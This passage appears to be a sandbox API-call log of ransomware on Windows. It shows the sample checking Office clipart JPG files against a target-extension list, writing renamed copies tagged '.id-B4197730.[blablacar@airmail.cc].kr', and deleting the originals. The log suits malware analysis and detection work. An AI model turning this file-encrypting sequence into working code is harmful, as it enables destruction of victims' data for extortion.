returned -1 [0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.957] lstrlenW (lpString=".dbf") returned 4 [0200.957] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.957] lstrlenW (lpString=".1cd") returned 4 [0200.957] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.957] lstrlenW (lpString=".jpg") returned 4 [0200.957] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.957] lstrlenW (lpString=".doc") returned 4 [0200.957] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0200.957] lstrlenW (lpString=".docx") returned 5 [0200.957] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0200.958] lstrlenW (lpString=".pdf") returned 4 [0200.958] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0200.958] lstrlenW (lpString=".xls") returned 4 [0200.958] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0200.958] lstrlenW (lpString=".xlsx") returned 5 [0200.958] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0200.958] lstrlenW (lpString=".ppt") returned 4 [0200.958] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0200.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.958] lstrlenW (lpString=".zip") returned 4 [0200.958] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0200.958] lstrlenW (lpString=".rar") returned 4 [0200.958] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0200.958] lstrlenW (lpString=".bz2") returned 4 [0200.958] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0200.958] lstrlenW (lpString=".7z") returned 3 [0200.958] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0200.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.958] lstrlenW (lpString=".dbf") returned 4 [0200.958] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0200.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.958] lstrlenW (lpString=".1cd") returned 4 [0200.958] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0200.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0200.958] lstrlenW (lpString=".jpg") returned 4 [0200.958] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.020] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.020] lstrlenW (lpString="J0099155.JPG") returned 12 [0201.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.022] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=8826) returned 1 [0201.022] CloseHandle (hObject=0x3f8) returned 1 [0201.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0201.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.022] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.022] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.023] GetLastError () returned 0x0 [0201.023] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x227a, lpOverlapped=0x0) returned 1 [0201.025] WriteFile (in: hFile=0x568, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2280, lpOverlapped=0x0) returned 1 [0201.026] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.026] WriteFile (in: hFile=0x568, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.026] SetEndOfFile (hFile=0x568) returned 1 [0201.026] CloseHandle (hObject=0x568) returned 1 [0201.026] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.027] SetEndOfFile (hFile=0x3f8) returned 1 [0201.029] CloseHandle (hObject=0x3f8) returned 1 [0201.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0201.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.030] lstrlenW (lpString=".doc") returned 4 [0201.030] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.030] lstrlenW (lpString=".docx") returned 5 [0201.030] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0201.030] lstrlenW (lpString=".pdf") returned 4 [0201.030] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.030] lstrlenW (lpString=".xls") returned 4 [0201.030] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.030] lstrlenW (lpString=".xlsx") returned 5 [0201.031] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0201.031] lstrlenW (lpString=".ppt") returned 4 [0201.031] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.031] lstrlenW (lpString=".zip") returned 4 [0201.031] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.031] lstrlenW (lpString=".rar") returned 4 [0201.031] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.031] lstrlenW (lpString=".bz2") returned 4 [0201.031] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.031] lstrlenW (lpString=".7z") returned 3 [0201.031] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.031] lstrlenW (lpString=".dbf") returned 4 [0201.031] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.031] lstrlenW (lpString=".1cd") returned 4 [0201.031] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.031] lstrlenW (lpString=".jpg") returned 4 [0201.031] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.031] lstrlenW (lpString=".doc") returned 4 [0201.031] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.031] lstrlenW (lpString=".docx") returned 5 [0201.031] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0201.031] lstrlenW (lpString=".pdf") returned 4 [0201.031] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.031] lstrlenW (lpString=".xls") returned 4 [0201.031] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.031] lstrlenW (lpString=".xlsx") returned 5 [0201.031] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0201.032] lstrlenW (lpString=".ppt") returned 4 [0201.032] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.032] lstrlenW (lpString=".zip") returned 4 [0201.032] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.032] lstrlenW (lpString=".rar") returned 4 [0201.032] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.032] lstrlenW (lpString=".bz2") returned 4 [0201.032] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.032] lstrlenW (lpString=".7z") returned 3 [0201.032] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.032] lstrlenW (lpString=".dbf") returned 4 [0201.032] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.032] lstrlenW (lpString=".1cd") returned 4 [0201.032] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0201.032] lstrlenW (lpString=".jpg") returned 4 [0201.032] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.032] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.032] lstrlenW (lpString="J0099156.JPG") returned 12 [0201.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.033] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=13954) returned 1 [0201.033] CloseHandle (hObject=0x3f8) returned 1 [0201.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0201.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.033] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.033] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.034] GetLastError () returned 0x0 [0201.034] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x3682, lpOverlapped=0x0) returned 1 [0201.036] WriteFile (in: hFile=0x568, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x3690, lpOverlapped=0x0) returned 1 [0201.037] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.037] WriteFile (in: hFile=0x568, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.037] SetEndOfFile (hFile=0x568) returned 1 [0201.037] CloseHandle (hObject=0x568) returned 1 [0201.037] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.037] SetEndOfFile (hFile=0x3f8) returned 1 [0201.040] CloseHandle (hObject=0x3f8) returned 1 [0201.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.040] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0201.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.041] lstrlenW (lpString=".doc") returned 4 [0201.041] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.041] lstrlenW (lpString=".docx") returned 5 [0201.041] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0201.041] lstrlenW (lpString=".pdf") returned 4 [0201.041] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.041] lstrlenW (lpString=".xls") returned 4 [0201.041] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.041] lstrlenW (lpString=".xlsx") returned 5 [0201.041] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0201.041] lstrlenW (lpString=".ppt") returned 4 [0201.041] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.041] lstrlenW (lpString=".zip") returned 4 [0201.041] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.041] lstrlenW (lpString=".rar") returned 4 [0201.041] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.042] lstrlenW (lpString=".bz2") returned 4 [0201.042] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.042] lstrlenW (lpString=".7z") returned 3 [0201.042] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.042] lstrlenW (lpString=".dbf") returned 4 [0201.042] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.042] lstrlenW (lpString=".1cd") returned 4 [0201.042] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.042] lstrlenW (lpString=".jpg") returned 4 [0201.042] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.042] lstrlenW (lpString=".doc") returned 4 [0201.042] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.042] lstrlenW (lpString=".docx") returned 5 [0201.042] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0201.042] lstrlenW (lpString=".pdf") returned 4 [0201.042] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.042] lstrlenW (lpString=".xls") returned 4 [0201.042] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.042] lstrlenW (lpString=".xlsx") returned 5 [0201.042] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0201.042] lstrlenW (lpString=".ppt") returned 4 [0201.042] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.042] lstrlenW (lpString=".zip") returned 4 [0201.042] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.042] lstrlenW (lpString=".rar") returned 4 [0201.042] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.042] lstrlenW (lpString=".bz2") returned 4 [0201.043] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.043] lstrlenW (lpString=".7z") returned 3 [0201.043] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.043] lstrlenW (lpString=".dbf") returned 4 [0201.043] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.043] lstrlenW (lpString=".1cd") returned 4 [0201.043] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68 [0201.043] lstrlenW (lpString=".jpg") returned 4 [0201.043] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.043] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.043] lstrlenW (lpString="J0099157.JPG") returned 12 [0201.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.044] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=9671) returned 1 [0201.044] CloseHandle (hObject=0x3f8) returned 1 [0201.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0201.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0201.044] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.044] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0201.045] GetLastError () returned 0x0 [0201.045] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x25c7, lpOverlapped=0x0) returned 1 [0201.047] WriteFile (in: hFile=0x568, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x25d0, lpOverlapped=0x0) returned 1 [0201.048] ReadFile (in: hFile=0x3f8, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0201.048] WriteFile (in: hFile=0x568, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0201.048] SetEndOfFile (hFile=0x568) returned 1 [0201.048] CloseHandle (hObject=0x568) returned 1 [0201.048] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0201.048] SetEndOfFile (hFile=0x3f8) returned 1 [0201.051] CloseHandle (hObject=0x3f8) returned 1 [0201.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0201.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.052] lstrlenW (lpString=".doc") returned 4 [0201.052] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.052] lstrlenW (lpString=".docx") returned 5 [0201.052] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0201.052] lstrlenW (lpString=".pdf") returned 4 [0201.052] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.052] lstrlenW (lpString=".xls") returned 4 [0201.052] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.052] lstrlenW (lpString=".xlsx") returned 5 [0201.052] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0201.052] lstrlenW (lpString=".ppt") returned 4 [0201.052] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.052] lstrlenW (lpString=".zip") returned 4 [0201.052] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.052] lstrlenW (lpString=".rar") returned 4 [0201.052] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.052] lstrlenW (lpString=".bz2") returned 4 [0201.052] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.052] lstrlenW (lpString=".7z") returned 3 [0201.052] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.053] lstrlenW (lpString=".dbf") returned 4 [0201.053] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0201.053] lstrlenW (lpString=".1cd") returned 4 [0201.053] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.053] lstrlenW 